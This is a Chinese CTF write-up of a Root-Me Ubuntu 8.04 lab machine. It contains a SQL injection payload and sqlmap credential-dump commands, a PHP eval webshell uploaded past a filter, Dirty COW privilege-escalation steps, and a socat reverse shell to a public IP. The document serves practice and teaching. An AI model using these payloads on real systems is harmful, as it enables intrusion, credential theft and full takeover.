[rootme:ctf all the day]Ubuntu 8.04week wp

发布于:2025-06-30 ⋅ 阅读:(14) ⋅ 点赞:(0)

知识点

环境配置

  • 在rootme官网注册并登录账号:https://www.root-me.org/
  • 进入页面,选择左边第一个 夺旗--》ctf all the day :https://www.root-me.org/fr/Capture-The-Flag/CTF-all-the-day/
  • 进入页面可一个看到该游戏的基本规则介绍
    • 下面有若干房间,选一个空房间进入
    • 选择一个你要渗透的系统并投票标记
    • 选好后点击开始游戏等待虚拟环境搭建完成;成功后返回一个可访问的url
    • 800分钟时长,该房间有人提交验证信息或者时长结束就销毁系统
    • 中途可以有其他玩家进入该房间加入游戏,若有房间开始了你想渗透的系统,你可以直接加入游戏而不用开一个新房间
  • 我要选Ubuntu 8.04week系统的,刚好有一个房间开了
    • 进入房间1,点击加入游戏
    • 提示了flag在/passwd中
    • 环境配置完成,访问给定的网址:ctf01.root-me.org

渗透思路

访问url得到了一个index界面,通过F12查看源码以及wappalyzer插件发现了该网站使用了TYPO3 4.2版本CMS,php 5.2.4 ,操作系统:ubuntu ,中间件:apacha 2.2.8

搜索了一下TYPO3 4.2版本的历史漏洞发现不能利用,需要进入后台才行

通过点击页面上的两个连接,发现Members链接类似出现了id和uid,而且有成员的返回信息到页面前端,猜测这里存在sql注入

首先通过order by成功得到了字段数为4;通过测试发现这里存在联合注入,那么构造payload:

http://ctf01.root-me.org/index.php?id=4&uid=2+union+select+schema(),version(),@@datadir,4--+

读取当前数据库名:typo3
版本信息:5.0.5
数据库路径: /var/lib/mysql/

已知数据库为mysql 5.0以上,接下来就可以读取数据库信息,我这里使用了sqlmap工具来帮我

使用参考文章:SQLMap 使用参数详解_sqlmap参数-CSDN博客

默认-u 参数只会识别并判定第一个参数为注入点,这里需要使用-r参数

先在桌面上创建一个666.txt文件,将页面请求数据复制粘贴到里面

GET /index.php?id=4&uid=1 HTTP/1.1
Host: ctf01.root-me.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://ctf01.root-me.org/index.php?id=4&uid=2+union+select+schema(),version(),@@datadir,4--+
Cookie: _ga_SRYSKX09J7=GS1.1.1709561861.4.1.1709566695.0.0.0; _ga=GA1.1.339742383.1709475530; fe_typo_user=33929c6bbf793667235b3e6385baed25
Upgrade-Insecure-Requests: 1
Priority: u=0, i
使用命令:检测uid参数是否存在注入漏洞(存在)
python sqlmap.py -r C:\Users\17567\Desktop\666.txt -p uid

由于之前已经知道了当前数据库名为typo3;所以直接读取该数据库下的所有表名

构造payload;
python sqlmap.py -r C:\Users\17567\Desktop\666.txt -p uid -D "typo3" --tables

成功获取到了该数据库下的所有表;其中有两个users表,be_users和fe_users

接下来读取be_users的字段信息

构造payload:
python sqlmap.py -r C:\Users\17567\Desktop\666.txt -p uid -D "typo3" -T "be_users" --columns

发现了有username和password字段

读取数据信息

构造payload:
python sqlmap.py -r C:\Users\17567\Desktop\666.txt -p uid -D "typo3" -T "be_users" -C "username","password" --dump

成功得到了用户名和密码
 admin     3f76fae8f05fe76f5d74bdff0463ad7c (bhunji)  
 member1   c7764cfed23c5ca3bb393308a0da2306 (member1) 
 member2   88ed421f060aadcacbd63f28d889797f (member2)

后面测试发现这是后端登录使用的账户密码

其实可以直接脱库到本地,但是时间耗费太长,没必要

通过select @@secure_file_priv查看设置发现无回显,不知道是没设置还是不让访问

直接尝试getshell试一下

python sqlmap.py -r C:\Users\17567\Desktop\666.txt -p uid --os-shell


中途验证一律yes
发现没有写权限,无法getshell

那这就没办法了,前面得到了一些用户名和密码,接下来尝试找一下登录页面吧

使用dirsearch工具扫描一下目录

python dirsearch.py -u http://ctf01.root-me.org
[16:52:13] 200 -   46B  - /clear
[16:52:19] 200 -  927B  - /content/
[16:52:19] 301 -  364B  - /content  ->  http://ctf01.root-me.org/content/
[16:52:22] 200 -  390KB - /ChangeLog
[16:52:28] 403 -  333B  - /doc/api/
[16:52:28] 403 -  343B  - /doc/stable.version
[16:52:28] 403 -  344B  - /doc/html/index.html
[16:52:28] 403 -  344B  - /doc/en/changes.html
[16:52:28] 403 -  329B  - /doc/
[16:52:38] 200 -  147B  - /fileadmin/_temp_/
[16:52:38] 200 -    1KB - /fileadmin/
[16:52:38] 200 -  959B  - /fileadmin/user_upload/
[16:52:38] 301 -  366B  - /fileadmin  ->  http://ctf01.root-me.org/fileadmin/
[16:52:51] 302 -    0B  - /index.php/login/  ->  http://ctf01.root-me.org/index.php?id=1&type=0
[16:52:53] 200 -   20KB - /INSTALL
[16:52:54] 200 -   20KB - /INSTALL.txt
[16:53:00] 200 -  843B  - /LICENSE.txt
[16:53:00] 200 -  843B  - /LICENSE
[16:53:12] 301 -  361B  - /misc  ->  http://ctf01.root-me.org/misc/
[16:53:41] 200 -    8KB - /README
[16:53:42] 200 -    8KB - /README.txt
[16:53:42] 200 -  241B  - /RELEASE_NOTES.txt
[16:53:54] 403 -  338B  - /server-status
[16:53:54] 403 -  339B  - /server-status/
[16:54:12] 200 -  298B  - /typo3/
[16:54:13] 301 -  362B  - /typo3  ->  http://ctf01.root-me.org/typo3/
[16:54:13] 200 -    5KB - /typo3temp/
[16:54:15] 200 -  149B  - /uploads/
[16:54:15] 301 -  364B  - /uploads  ->  http://ctf01.root-me.org/uploads/

通过测试发现/typo3/目录是一个后台登录界面

通过之前的账户密码成功登录 admin :bhunji

进入界面通过点击发现了有一个文件列表的位置可以进行文件上传

尝试上传php文件发现这里对php文件后缀进行了黑名单过滤,直接用bp对后缀名进行爆破发现.pht文件后缀可以成功上传并解析(爆破过程不再截图),直接上传991.pht

内容如下:991.pht
<?php @eval($_POST['cmd']);phpinfo();?>

通过哥斯拉进行连接(哥斯拉功能更多)

右击进入,选择命令执行窗口

whoami
当前用户为www-data
/passwd文件为root用户才能访问
www-data 用户没有权限访问

接下来就是需要进行提权了
上传linux-exploit-suggester.sh
该脚本可以检测当前系统存在哪些漏洞并提供poc利用源

执行该脚本提示bash版本不支持
bash -v 发现目标系统使用3.8的,但是该脚本执行使用bash>4.0
那就没办法了,只能慢慢推了
先看一下suid文件有哪些
find / -perm -4000 -type f 2>/dev/null

结果:
/lib/dhcp3-client/call-dhclient-script
/var/www/weak_suid/weak
/var/run/system-tools-backends.pid
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6
/usr/sbin/pppd
/usr/sbin/uuidd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/apache2/suexec
/usr/lib/policykit/polkit-grant-helper-pam
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/pt_chown
/usr/bin/sudoedit
/usr/bin/lppasswd
/usr/bin/newgrp
/usr/bin/mtr
/usr/bin/pulseaudio
/usr/bin/sudo
/usr/bin/arping
/usr/bin/traceroute6.iputils
/usr/bin/X
/usr/bin/passwd
/usr/bin/at
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/chfn

没有常用的suid提权参数

尝试进行内核提权吧,这里使用了SearchSploit工具

参考文章:Linux提权第一篇-Linux内核漏洞提权(以CVE-2015-1328为例)-CSDN博客

uname -a 
获取内核版本信息:
Linux victime-laptop 2.6.24-26-generic #1 SMP Tue Dec 1 18:37:31 UTC 2009 i686 GNU/Linux

lsb_release -a
获取发行版本信息
Distributor ID:	Ubuntu
Description:	Ubuntu 8.04.4 LTS
Release:	8.04
Codename:	hardy
kali自带searchsploit工具
如果没有,他会提示你安装,按提示安装就行了

searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6

查询linux下内核版本为2.6的可用提权poc
根据返回结果描述选择合适的exp

系统内核版本为2.6.24;

这里我选的是(通过测试这个是可以提权成功的,其他很多都不太行)
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)                                                        | linux/local/40839.c

searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6

执行结果如下:
Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23/24/25) - 'ldso_dynamic Stack Clash' Local Privilege Escalation                                       | linux_x86/local/42276.c
Linux Kernel 2.2.25/2.4.24/2.6.2 - 'mremap()' Local Privilege Escalation                                                                                                  | linux/local/160.c
Linux Kernel 2.2.x/2.4.x - Privileged Process Hijacking Privilege Escalation (1)                                                                                          | linux/local/22362.c
Linux Kernel 2.2.x/2.4.x - Privileged Process Hijacking Privilege Escalation (2)                                                                                          | linux/local/22363.c
Linux Kernel 2.4.1 < 2.4.37 / 2.6.1 < 2.6.32-rc5 - 'pipe.c' Local Privilege Escalation (3)                                                                                | linux/local/9844.py
Linux Kernel 2.4.23/2.6.0 - 'do_mremap()' Bound Checking Privilege Escalation                                                                                             | linux/local/145.c
Linux Kernel 2.4.30/2.6.11.5 - BlueTooth 'bluez_sock_create' Local Privilege Escalation                                                                                   | linux/local/25289.c
Linux Kernel 2.4.4 < 2.4.37.4 / 2.6.0 < 2.6.30.4 - 'Sendpage' Local Privilege Escalation (Metasploit)                                                                     | linux/local/19933.rb
Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/11 / Ubuntu 8.10) (PPC) - 'sock_sendpage()' Local Privilege Escalation                              | linux/local/9545.c
Linux Kernel 2.4.x/2.6.x - 'Bluez' BlueTooth Signed Buffer Index Privilege Escalation (2)                                                                                 | linux/local/926.c
Linux Kernel 2.4.x/2.6.x - 'uselib()' Local Privilege Escalation (3)                                                                                                      | linux/local/895.c
Linux Kernel 2.4.x/2.6.x - BlueTooth Signed Buffer Index Privilege Escalation (1)                                                                                         | linux/local/25288.c
Linux Kernel 2.4/2.6 (Fedora 11) - 'sock_sendpage()' Local Privilege Escalation (2)                                                                                       | linux/local/9598.txt
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / CentOS 4) - 'sock_sendpage()' Ring0 Privilege Escalation (5)                                     | linux/local/9479.c
Linux Kernel 2.4/2.6 (x86-64) - System Call Emulation Privilege Escalation                                                                                                | linux_x86-64/local/4460.c
Linux Kernel 2.4/2.6 - 'sock_sendpage()' Local Privilege Escalation (3)                                                                                                   | linux/local/9641.txt
Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) UDEV < 1.4.1 - Local Privilege Escalation (1)                                                                             | linux/local/8478.sh
Linux Kernel 2.6 (Gentoo / Ubuntu 8.10/9.04) UDEV < 1.4.1 - Local Privilege Escalation (2)                                                                                | linux/local/8572.c
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Escalation (1)                                      | linux_x86/local/9542.c
Linux Kernel 2.6.0 < 2.6.31 - 'pipe.c' Local Privilege Escalation (1)                                                                                                     | linux/local/33321.c
Linux Kernel 2.6.10 < 2.6.31.5 - 'pipe.c' Local Privilege Escalation                                                                                                      | linux/local/40812.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'logrotate prctl()' Local Privilege Escalation                                                                                           | linux/local/2031.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (1)                                                                                             | linux/local/2004.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (2)                                                                                             | linux/local/2005.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (3)                                                                                             | linux/local/2006.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (4)                                                                                             | linux/local/2011.sh
Linux Kernel 2.6.17 - 'Sys_Tee' Local Privilege Escalation                                                                                                                | linux/local/29714.txt
Linux Kernel 2.6.17 < 2.6.24.1 - 'vmsplice' Local Privilege Escalation (2)                                                                                                | linux/local/5092.c
Linux Kernel 2.6.17.4 - 'proc' Local Privilege Escalation                                                                                                                 | linux/local/2013.c
Linux Kernel 2.6.18 < 2.6.18-20 - Local Privilege Escalation                                                                                                              | linux/local/10613.c
Linux Kernel 2.6.19 < 5.9 - 'Netfilter Local Privilege Escalation                                                                                                         | linux/local/50135.c
Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (SUID Method)                                                        | linux/local/40616.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (/etc/passwd Method)                                                           | linux/local/40847.cpp
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)                                                        | linux/local/40839.c
Linux Kernel 2.6.23 < 2.6.24 - 'vmsplice' Local Privilege Escalation (1)                                                                                                  | linux/local/5093.c
Linux Kernel 2.6.24_16-23/2.6.27_7-10/2.6.28.3 (Ubuntu 8.04/8.10 / Fedora Core 10 x86-64) - 'set_selection()' UTF-8 Off-by-One Privilege Escalation                       | linux_x86-64/local/9083.c
Linux Kernel 2.6.27 < 2.6.36 (RedHat x86-64) - 'compat' Local Privilege Escalation                                                                                        | linux_x86-64/local/15024.c
Linux Kernel 2.6.28/3.0 (DEC Alpha Linux) - Local Privilege Escalation                                                                                                    | linux/local/17391.c
Linux Kernel 2.6.29 - 'ptrace_attach()' Race Condition Privilege Escalation                                                                                               | linux/local/8678.c
Linux Kernel 2.6.30 < 2.6.30.1 / SELinux (RHEL 5) - Local Privilege Escalation                                                                                            | linux/local/9191.txt
Linux Kernel 2.6.32 (Ubuntu 10.04) - '/proc' Handling SUID Privilege Escalation                                                                                           | linux/local/41770.txt
Linux Kernel 2.6.32 - 'pipe.c' Local Privilege Escalation (4)                                                                                                             | linux/local/10018.sh
Linux Kernel 2.6.32 < 3.x (CentOS 5/6) - 'PERF_EVENTS' Local Privilege Escalation (1)                                                                                     | linux/local/25444.c
Linux Kernel 2.6.36-rc8 - 'RDS Protocol' Local Privilege Escalation                                                                                                       | linux/local/15285.c
Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04) - 'Full-Nelson.c' Local Privilege Escalation                                                                                  | linux/local/15704.c
Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) - 'Mempodipper' Local Privilege Escalation (1)                                                                      | linux/local/18411.c
Linux Kernel 2.6.39 < 3.2.2 (x86/x64) - 'Mempodipper' Local Privilege Escalation (2)                                                                                      | linux/local/35161.c
Linux Kernel 2.6.9 < 2.6.11 (RHEL 4) - 'SYS_EPoll_Wait' Local Integer Overflow / Local Privilege Escalation                                                               | linux/local/1397.c
Linux Kernel 2.6.x (Gentoo 2.6.29rc1) - 'ptrace_attach' Local Privilege Escalation                                                                                        | linux/local/8673.c
Linux Kernel 2.6.x - 'pipe.c' Local Privilege Escalation (2)                                                                                                              | linux/local/33322.c
Linux Kernel 2.6.x - 'SYS_EPoll_Wait' Local Integer Overflow / Local Privilege Escalation (1)                                                                             | linux/local/25202.c
Linux Kernel 2.6.x - Ext4 'move extents' ioctl Privilege Escalation                                                                                                       | linux/local/33395.txt
Linux Kernel 2.6.x - Ptrace Privilege Escalation                                                                                                                          | linux/local/30604.c
Linux Kernel 2.6.x / 3.10.x / 4.14.x (RedHat / Debian / CentOS) (x64) - 'Mutagen Astronomy' Local Privilege Escalation                                                    | linux_x86-64/local/45516.c
Linux Kernel < 2.6.11.5 - BlueTooth Stack Privilege Escalation                                                                                                            | linux/local/4756.c
Linux Kernel < 2.6.19 (Debian 4) - 'udp_sendmsg' Local Privilege Escalation (3)                                                                                           | linux/local/9575.c
Linux Kernel < 2.6.19 (x86/x64) - 'udp_sendmsg' Local Privilege Escalation (2)                                                                                            | linux/local/9574.txt
Linux Kernel < 2.6.22 - 'ftruncate()'/'open()' Local Privilege Escalation                                                                                                 | linux/local/6851.c
Linux Kernel < 2.6.28 - 'fasync_helper()' Local Privilege Escalation                                                                                                      | linux/local/33523.c
Linux Kernel < 2.6.29 - 'exit_notify()' Local Privilege Escalation                                                                                                        | linux/local/8369.sh
Linux Kernel < 2.6.34 (Ubuntu 10.10 x86) - 'CAP_SYS_ADMIN' Local Privilege Escalation (1)                                                                                 | linux_x86/local/15916.c
Linux Kernel < 2.6.34 (Ubuntu 10.10 x86/x64) - 'CAP_SYS_ADMIN' Local Privilege Escalation (2)                                                                             | linux/local/15944.c
Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32) - 'CAN BCM' Local Privilege Escalation                                                                                  | linux/local/14814.c
Linux Kernel < 2.6.36-rc4-git2 (x86-64) - 'ia32syscall' Emulation Privilege Escalation                                                                                    | linux_x86-64/local/15023.c
Linux Kernel < 2.6.36.2 (Ubuntu 10.04) - 'Half-Nelson.c' Econet Privilege Escalation                                                                                      | linux/local/17787.c
Linux Kernel < 2.6.37-rc2 - 'ACPI custom_method' Local Privilege Escalation                                                                                               | linux/local/15774.c
Linux Kernel < 2.6.7-rc3 (Slackware 9.1 / Debian 3.0) - 'sys_chown()' Group Ownership Alteration Privilege Escalation                                                     | linux/local/718.c
ReiserFS (Linux Kernel 2.6.34-rc3 / RedHat / Ubuntu 9.10) - 'xattr' Local Privilege Escalation                                                                            | linux/local/12130.py
Samba 2.2.8 (Linux Kernel 2.6 / Debian / Mandrake) - Share Privilege Escalation                                                                                           | linux/local/23674.txt
root@VM-24-6-ubuntu:~# 
locate linux/local/40839.c

输出文件的绝对路径
有了绝对路径,下载该poc到本地,然后通过哥斯拉上传到目标服务器上

成功上传后,双击该文件进行修改,在文件最后加上一个空行,即输入回车就行了,要不然文件编译时会报错,修改后点击保存

通过查看该poc的提示信息

// 使用下面命令对文件进行编译
//   gcc -pthread dirty.c -o dirty -lcrypt

//编译成功后执行时后面加上设置的新密码
// Then run the newly create binary by either doing:
//   "./dirty" or "./dirty my-new-password"

//执行完成后会生成一个firefart的root用户,/etc/passwd原文件信息备份到了/tmp/passwd.bak中
//现在是生成了一个firefart用户为root权限用户的/etc/passwd文件进行替换了
//
//进行su firefart切换到该用户后

// Afterwards, you can either "su firefart" or "ssh firefart@..."
//需要进行还原root用户,即将原/etc/passwd信息替换回来
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
//   mv /tmp/passwd.bak /etc/passwd
//如果不进行还原,服务器可能会崩坏
该漏洞利用流程:
1.编译
gcc -pthread 40839.c -o dirty -lcrypt

2.执行(默认生成firefart用户为root权限)
./dirty 123

3.切换到root权限用户(su命令需要实时交互的终端才能执行:(检测方法)tty命令执行有回显)
su firefart

4.还原root用户
mv /tmp/passwd.bak /etc/passwd
执行tty发现哥斯拉连接生成的命令执行终端只是普通的命令执行串口,并非shell

接下来还需要反弹一个有交互性的shell

参考文章:https://cloud.tencent.com/developer/article/2130066


常用的几种产生交互式shell的方式:
python pty 方式、升级nc、socat、script获取pty
通过测试发现该系统能使用的只有socat了,但是需要上传一个socat工具

socat获取地址:https://github.com/3ndG4me/socat

通过哥斯拉上传到/tmp文件夹下

安装和执行
unzip socat-master.zip

cd socat-master
./configure
make
//编译成功后会生成一个socat执行文件

反弹一个交互式终端:
    需要一台公网服务器,开放指定端口
执行反弹shell:
    服务器开启监听8989端口:
        nc -lvp 8989
    目标机执行:
        ./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:106.53.46.131:8989

通过上述操作成功反弹了一个交互式终端

好了,一些准备操作都完成了,接下来开始利用漏洞进行提权了

编译漏洞文件:gcc -pthread 40839.c -o dirty -lcrypt 

2. 执行漏洞exp  :./dirty 123

3.切换到firefart用户:su firefart

4.还原root用户 :mv /tmp/passwd.bak /etc/passwd

通过执行exp成功切换到了firefart用户,并且读取了/passwd文件的内容:8127b73c79c7f48de9f137d403517db0

注:该服务器最后执行脏牛提权时服务器容易崩溃,可能会卡住需要重新开启游戏,执行./dirty后等一会儿尝试切换用户,然后直接读取/passwd文件内容,执行dirty脚本和su命令尽量分开,哥斯拉命令端执行提权脚本,反弹的shell端执行su命令,这样不会造成界面卡住,这个提权尝试了N多次才成功,切换用户成功后一定要快速读取/passwd文件内容,要不然过一会儿可能又给卡挂掉了,服务器太容易崩溃了

10


网站公告

今日签到

点亮在社区的每一天
去签到